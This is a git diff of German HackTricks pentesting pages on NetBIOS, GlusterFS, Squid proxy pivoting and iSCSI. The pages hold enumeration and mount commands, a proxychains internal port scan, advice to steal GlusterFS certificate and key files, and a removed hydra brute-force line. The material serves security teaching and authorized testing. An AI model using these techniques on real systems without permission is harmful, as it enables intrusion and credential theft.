**Lesen Sie die nächste Seite, um zu erfahren, wie Sie diesen Dienst aufzählen können:**
**Lies die nächste Seite, um zu lernen, wie man diesen Dienst enumeriert:**
{% content-ref url="137-138-139-pentesting-netbios.md" %}
[137-138-139-pentesting-netbios.md](137-138-139-pentesting-netbios.md)
@ -84,16 +85,17 @@ Name: Find Names
Description: Three scans to find the names of the server
Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP}
```
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
# Grundlegende Informationen
# Grundinformationen
**GlusterFS** ist ein **verteiltes Dateisystem**, das Speicher von mehreren Servern zu einem **vereinheitlichten System** kombiniert. Es ermöglicht eine **beliebige Skalierbarkeit**, d.h. Sie können Speicherserver problemlos hinzufügen oder entfernen, ohne das gesamte Dateisystem zu beeinträchtigen. Dies gewährleistet eine hohe **Verfügbarkeit** und **Fehlertoleranz** für Ihre Daten. Mit GlusterFS können Sie auf Ihre Dateien zugreifen, als wären sie lokal gespeichert, unabhängig von der zugrunde liegenden Serverinfrastruktur. Es bietet eine leistungsstarke und flexible Lösung zur Verwaltung großer Datenmengen über mehrere Server hinweg.
**GlusterFS** ist ein **verteiltes Dateisystem**, das Speicher von mehreren Servern in einem **einheitlichen System** kombiniert. Es ermöglicht **willkürliche Skalierbarkeit**, was bedeutet, dass Sie Speicherserver einfach hinzufügen oder entfernen können, ohne das gesamte Dateisystem zu stören. Dies gewährleistet eine hohe **Verfügbarkeit** und **Fehlertoleranz** für Ihre Daten. Mit GlusterFS können Sie auf Ihre Dateien zugreifen, als ob sie lokal gespeichert wären, unabhängig von der zugrunde liegenden Serverinfrastruktur. Es bietet eine leistungsstarke und flexible Lösung für die Verwaltung großer Datenmengen über mehrere Server hinweg.
**Standardports**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (fortlaufend)\
Für den Port 49152 müssen die um 1 erhöhten Ports geöffnet sein, um weitere Bricks zu verwenden. _Früher wurde anstelle von 49152 der Port 24009 verwendet._
**Standardports**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (aufwärts)\
Für den Port 49152 müssen die Ports, die um 1 erhöht werden, geöffnet sein, um mehr Bricks zu verwenden. _Früher wurde der Port 24009 anstelle von 49152 verwendet._
```
PORT STATE SERVICE
24007/tcp open rpcbind
@ -26,7 +27,7 @@ PORT STATE SERVICE
```
## Enumeration
Um mit diesem Dateisystem zu interagieren, müssen Sie den [**GlusterFS-Client**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) installieren (`sudo apt-get install glusterfs-cli`).
Um mit diesem Dateisystem zu interagieren, müssen Sie den [**GlusterFS-Client**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`) installieren.
Um die verfügbaren Volumes aufzulisten und zu mounten, können Sie Folgendes verwenden:
```bash
@ -35,7 +36,7 @@ sudo gluster --remote-host=10.10.11.131 volume list
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
```
Wenn Sie beim Versuch, das Dateisystem zu mounten, einen **Fehler erhalten**, können Sie die Protokolle in `/var/log/glusterfs/` überprüfen.
Wenn Sie einen **Fehler beim Versuch, das Dateisystem zu mounten**, erhalten, können Sie die Protokolle in `/var/log/glusterfs/` überprüfen.
**Fehler, die Zertifikate erwähnen**, können behoben werden, indem Sie die Dateien stehlen (wenn Sie Zugriff auf das System haben):
@ -43,19 +44,4 @@ Wenn Sie beim Versuch, das Dateisystem zu mounten, einen **Fehler erhalten**, k
* /etc/ssl/glusterfs.key
* /etc/ssl/glusterfs.ca.pem
Und sie in Ihrem Maschinenverzeichnis `/etc/ssl` oder `/usr/lib/ssl` speichern (wenn ein anderes Verzeichnis verwendet wird, suchen Sie nach Zeilen ähnlich wie "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" in den Protokollen).
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
</details>
Und sie in Ihrem Maschinenverzeichnis `/etc/ssl` oder `/usr/lib/ssl` speichern (wenn ein anderes Verzeichnis verwendet wird, überprüfen Sie die Protokolle auf Zeilen wie: "_konnte unser Zertifikat unter /usr/lib/ssl/glusterfs.pem nicht laden_").

View file

@ -1,23 +1,24 @@
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
# Grundlegende Informationen
# Grundinformationen
Von [Wikipedia](https://en.wikipedia.org/wiki/Squid\_\(software\)):
> **Squid** ist ein Caching- und Weiterleitungs-HTTP-Webproxy. Es hat eine Vielzahl von Anwendungen, darunter die Beschleunigung eines Webservers durch Zwischenspeichern wiederholter Anfragen, das Zwischenspeichern von Web-, DNS- und anderen Computernetzwerkabfragen für eine Gruppe von Personen, die Netzwerkressourcen teilen, und die Unterstützung der Sicherheit durch Filterung des Datenverkehrs. Obwohl hauptsächlich für HTTP und FTP verwendet, bietet Squid begrenzte Unterstützung für mehrere andere Protokolle, einschließlich Internet-Gopher, SSL, TLS und HTTPS. Squid unterstützt das SOCKS-Protokoll nicht, im Gegensatz zu Privoxy, mit dem Squid verwendet werden kann, um SOCKS-Unterstützung bereitzustellen.
> **Squid** ist ein Caching- und Forwarding-HTTP-Webproxy. Es hat eine Vielzahl von Anwendungen, einschließlich der Beschleunigung eines Webservers durch Caching wiederholter Anfragen, Caching von Web-, DNS- und anderen Computer-Netzwerkabfragen für eine Gruppe von Personen, die Netzwerkressourcen teilen, und der Unterstützung der Sicherheit durch Filterung des Datenverkehrs. Obwohl es hauptsächlich für HTTP und FTP verwendet wird, bietet Squid eine begrenzte Unterstützung für mehrere andere Protokolle, einschließlich Internet Gopher, SSL, TLS und HTTPS. Squid unterstützt nicht das SOCKS-Protokoll, im Gegensatz zu Privoxy, mit dem Squid verwendet werden kann, um SOCKS-Unterstützung bereitzustellen.
**Standardport:** 3128
```
@ -28,18 +29,18 @@ PORT STATE SERVICE VERSION
## Web Proxy
Sie können versuchen, diesen entdeckten Dienst als Proxy in Ihrem Browser einzurichten. Wenn er jedoch mit HTTP-Authentifizierung konfiguriert ist, werden Sie zur Eingabe von Benutzernamen und Passwort aufgefordert.
Sie können versuchen, diesen entdeckten Dienst als Proxy in Ihrem Browser einzurichten. Wenn er jedoch mit HTTP-Authentifizierung konfiguriert ist, werden Sie nach Benutzernamen und Passwort gefragt.
```bash
# Try to proxify curl
curl --proxy http://10.10.11.131:3128 http://10.10.11.131
```
## Nmap proxifiziert
## Nmap proxified
Sie können auch versuchen, den Proxy zu missbrauchen, um **interne Ports zu scannen, indem Sie nmap proxifizieren**.\
Konfigurieren Sie Proxychains so, dass der Squid-Proxy hinzugefügt wird, indem Sie die folgende Zeile am Ende der proxichains.conf-Datei hinzufügen: `http 10.10.10.10 3128`
Für Proxies, die Authentifizierung erfordern, fügen Sie Anmeldeinformationen zur Konfiguration hinzu, indem Sie Benutzername und Passwort am Ende einschließen: `http 10.10.10.10 3128 benutzer passw0rt`.
Sie können auch versuchen, den Proxy zu missbrauchen, um **interne Ports mit proxifiziertem nmap zu scannen**.\
Konfigurieren Sie proxychains, um den Squid-Proxy zu verwenden, indem Sie die folgende Zeile am Ende der proxichains.conf-Datei hinzufügen: `http 10.10.10.10 3128`\
Für Proxys, die eine Authentifizierung erfordern, fügen Sie die Anmeldeinformationen zur Konfiguration hinzu, indem Sie den Benutzernamen und das Passwort am Ende einfügen: `http 10.10.10.10 3128 username passw0rd`.
Führen Sie dann nmap mit Proxychains aus, um **den Host lokal zu scannen**: `proxychains nmap -sT -n -p- localhost`
Führen Sie dann nmap mit proxychains aus, um **den Host lokal zu scannen**: `proxychains nmap -sT -n -p- localhost`
## SPOSE Scanner
@ -47,16 +48,17 @@ Alternativ kann der Squid Pivoting Open Port Scanner ([spose.py](https://github.
```bash
python spose.py --proxy http://10.10.11.131:3128 --target 10.10.11.131
```
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,115 +1,46 @@
# 3260 - Pentesting iSCSI
# 3260 - Pentesting ISCSI
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie das Hacken von AWS von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Grundlegende Informationen
## Grundinformationen
Aus [Wikipedia](https://en.wikipedia.org/wiki/ISCSI) übersetzt:
Von [Wikipedia](https://en.wikipedia.org/wiki/ISCSI):
> Bei **iSCSI** handelt es sich um die Abkürzung für **Internet Small Computer Systems Interface**, einen auf dem Internetprotokoll (IP) basierenden Speichernetzwerkstandard zur Verknüpfung von Datenspeichereinrichtungen. Es ermöglicht den blockbasierten Zugriff auf Speichergeräte, indem SCSI-Befehle über ein TCP/IP-Netzwerk übertragen werden. iSCSI wird verwendet, um Datenübertragungen über Intranets zu erleichtern und die Speicherverwaltung über große Entfernungen hinweg zu ermöglichen. Es kann verwendet werden, um Daten über lokale Netzwerke (LANs), Weitverkehrsnetze (WANs) oder das Internet zu übertragen und eine standortunabhängige Datenspeicherung und -abfrage zu ermöglichen.
> In der Informatik ist **iSCSI** ein Akronym für **Internet Small Computer Systems Interface**, einen auf dem Internetprotokoll (IP) basierenden Speicher-Netzwerkstandard zur Verbindung von Datenspeichereinrichtungen. Es bietet blockbasierten Zugriff auf Speichergeräte, indem SCSI-Befehle über ein TCP/IP-Netzwerk übertragen werden. iSCSI wird verwendet, um Datentransfers über Intranets zu erleichtern und um Speicher über große Entfernungen zu verwalten. Es kann verwendet werden, um Daten über lokale Netzwerke (LANs), Weitverkehrsnetze (WANs) oder das Internet zu übertragen und kann standortunabhängigen Datenspeicher und -abruf ermöglichen.
>
> Das Protokoll ermöglicht es Clients (Initiatoren), SCSI-Befehle (CDBs) an Speichergeräte (Ziele) auf entfernten Servern zu senden. Es handelt sich um ein Speicherbereichsnetzwerk (SAN)-Protokoll, das es Organisationen ermöglicht, Speicher in Speicherarrays zu konsolidieren und gleichzeitig Clients (wie Datenbank- und Webserver) mit der Illusion von lokal angeschlossenen SCSI-Festplatten zu versorgen. Es konkurriert hauptsächlich mit Fibre Channel, aber im Gegensatz zu herkömmlichem Fibre Channel, für das normalerweise dedizierte Verkabelung erforderlich ist, kann iSCSI über große Entfernungen mit vorhandener Netzwerkinfrastruktur betrieben werden.
> Das Protokoll ermöglicht es Clients (genannt Initiatoren), SCSI-Befehle (CDBs) an Speichergeräte (Ziele) auf entfernten Servern zu senden. Es ist ein Protokoll für Speicherbereichsnetzwerke (SAN), das es Organisationen ermöglicht, Speicher in Speicher-Arrays zu konsolidieren, während es Clients (wie Datenbank- und Webserver) die Illusion von lokal angeschlossenen SCSI-Disketten bietet. Es konkurriert hauptsächlich mit Fibre Channel, aber im Gegensatz zu traditionellem Fibre Channel, das normalerweise dedizierte Verkabelung erfordert, kann iSCSI über große Entfernungen unter Verwendung bestehender Netzwerk-Infrastruktur betrieben werden.
**Standardport:** 3260
```
PORT STATE SERVICE VERSION
3260/tcp open iscsi?
```
## Enumeration
Die Enumeration ist ein wichtiger Schritt im Pentesting-Prozess, um Informationen über das Zielnetzwerk zu sammeln. Es gibt verschiedene Techniken, um Informationen über iSCSI-Dienste zu sammeln:
### Portscanning
Verwenden Sie Tools wie Nmap, um offene Ports auf dem Zielhost zu identifizieren. Überprüfen Sie, ob der iSCSI-Port (Standard: 3260) geöffnet ist.
```bash
nmap -p 3260 <ziel-ip>
```
### Banner Grabbing
Verwenden Sie Tools wie Telnet oder Netcat, um den iSCSI-Dienst zu erreichen und den Bannertext abzurufen. Dies kann Informationen über die verwendete iSCSI-Implementierung und Version liefern.
```bash
telnet <ziel-ip> 3260
```
### iSCSI Discovery
Verwenden Sie das iSCSI-Discovery-Protokoll, um Informationen über verfügbare iSCSI-Targets zu erhalten. Dies kann mit Tools wie `iscsiadm` oder `iscsiadm-discovery` durchgeführt werden.
```bash
iscsiadm -m discovery -t sendtargets -p <ziel-ip>
```
### iSCSI Target Enumeration
Sobald ein iSCSI-Target identifiziert wurde, können Sie weitere Informationen über das Target abrufen. Verwenden Sie Tools wie `iscsiadm` oder `iscsiadm-node` und geben Sie die IP-Adresse des Targets an.
```bash
iscsiadm -m node -T <ziel-ip> -p <ziel-ip> -l
```
### iSCSI Target IQN-Enumeration
Verwenden Sie das iSCSI Qualified Name (IQN), um Informationen über das Target zu erhalten. Verwenden Sie Tools wie `iscsiadm` oder `iscsiadm-node` und geben Sie die IQN des Targets an.
```bash
iscsiadm -m node -T <ziel-iqn> -p <ziel-ip> -l
```
### iSCSI Target Authentication Bypass
Überprüfen Sie, ob der iSCSI-Dienst keine oder schwache Authentifizierung verwendet. Dies kann es Ihnen ermöglichen, sich ohne gültige Anmeldeinformationen mit dem Target zu verbinden.
### iSCSI Target Information Leakage
Suchen Sie nach Informationen über das iSCSI-Target in öffentlich zugänglichen Quellen wie Suchmaschinen, Foren oder sozialen Medien. Dies kann Ihnen zusätzliche Informationen über das Target liefern.
### iSCSI Target Misconfiguration
Überprüfen Sie, ob das iSCSI-Target falsch konfiguriert ist und sensible Informationen preisgibt. Dies kann durch Überprüfen von Konfigurationsdateien oder durch Ausnutzen von Schwachstellen erfolgen.
### iSCSI Target Brute-Force
Versuchen Sie, das iSCSI-Target durch Brute-Force-Angriffe auf Anmeldeinformationen zu kompromittieren. Verwenden Sie Tools wie Hydra oder Medusa, um Benutzernamen und Passwörter auszuprobieren.
```bash
hydra -L <benutzerliste> -P <passwortliste> <ziel-ip> iscsi
```
### iSCSI Target Denial of Service (DoS)
Versuchen Sie, das iSCSI-Target durch Denial-of-Service-Angriffe außer Betrieb zu setzen. Dies kann durch Überfluten des Targets mit Anfragen oder durch Ausnutzen von Schwachstellen erfolgen.
### iSCSI Target Exploitation
Überprüfen Sie, ob das iSCSI-Target anfällig für bekannte Schwachstellen ist. Verwenden Sie Tools wie Metasploit, um Schwachstellen auszunutzen und Zugriff auf das Target zu erlangen.
## Aufzählung
```
nmap -sV --script=iscsi-info -p 3260 192.168.xx.xx
```
Dieses Skript gibt an, ob eine Authentifizierung erforderlich ist.
Dieses Skript zeigt an, ob eine Authentifizierung erforderlich ist.
### [Brute-Force](../generic-methodologies-and-resources/brute-force.md#iscsi)
### [Brute force](../generic-methodologies-and-resources/brute-force.md#iscsi)
### [ISCSI unter Linux mounten](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
### [Mount ISCSI auf Linux](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
**Hinweis:** Es kann vorkommen, dass Ihre Ziele unter einer anderen IP-Adresse aufgelistet werden, wenn der iSCSI-Dienst über NAT oder eine virtuelle IP-Adresse freigegeben ist. In solchen Fällen schlägt `iscsiadmin` fehl, eine Verbindung herzustellen. Hierfür sind zwei Anpassungen erforderlich: eine am Verzeichnisnamen des automatisch erstellten Knotens durch Ihre Entdeckungsaktivitäten und eine an der Datei `default`, die sich in diesem Verzeichnis befindet.
**Hinweis:** Sie stellen möglicherweise fest, dass Ihre Ziele unter einer anderen IP-Adresse aufgeführt sind, wenn sie entdeckt werden. Dies passiert häufig, wenn der iSCSI-Dienst über NAT oder eine virtuelle IP exponiert ist. In solchen Fällen wird `iscsiadmin` nicht erfolgreich eine Verbindung herstellen. Dies erfordert zwei Anpassungen: eine am Verzeichnisnamen des automatisch von Ihren Entdeckungsaktivitäten erstellten Knotens und eine an der `default`-Datei, die sich in diesem Verzeichnis befindet.
Beispiel: Sie versuchen, eine iSCSI-Zieladresse unter 123.123.123.123 auf Port 3260 zu verbinden. Der Server, der das iSCSI-Ziel freigibt, befindet sich tatsächlich unter 192.168.1.2, ist jedoch über NAT freigegeben. Isciadm registriert die _interne_ Adresse anstelle der _öffentlichen_ Adresse:
Zum Beispiel versuchen Sie, eine Verbindung zu einem iSCSI-Ziel unter 123.123.123.123 am Port 3260 herzustellen. Der Server, der das iSCSI-Ziel exponiert, befindet sich tatsächlich unter 192.168.1.2, wird jedoch über NAT exponiert. isciadm wird die _interne_ Adresse anstelle der _öffentlichen_ Adresse registrieren:
```
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
@ -119,12 +50,12 @@ Dieser Befehl erstellt ein Verzeichnis in Ihrem Dateisystem wie folgt:
```
/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/
```
Innerhalb des Verzeichnisses befindet sich eine Standarddatei mit allen Einstellungen, die erforderlich sind, um eine Verbindung zum Ziel herzustellen.
Innerhalb des Verzeichnisses gibt es eine Standarddatei mit allen Einstellungen, die erforderlich sind, um eine Verbindung zum Ziel herzustellen.
1. Benennen Sie `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` in `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/` um.
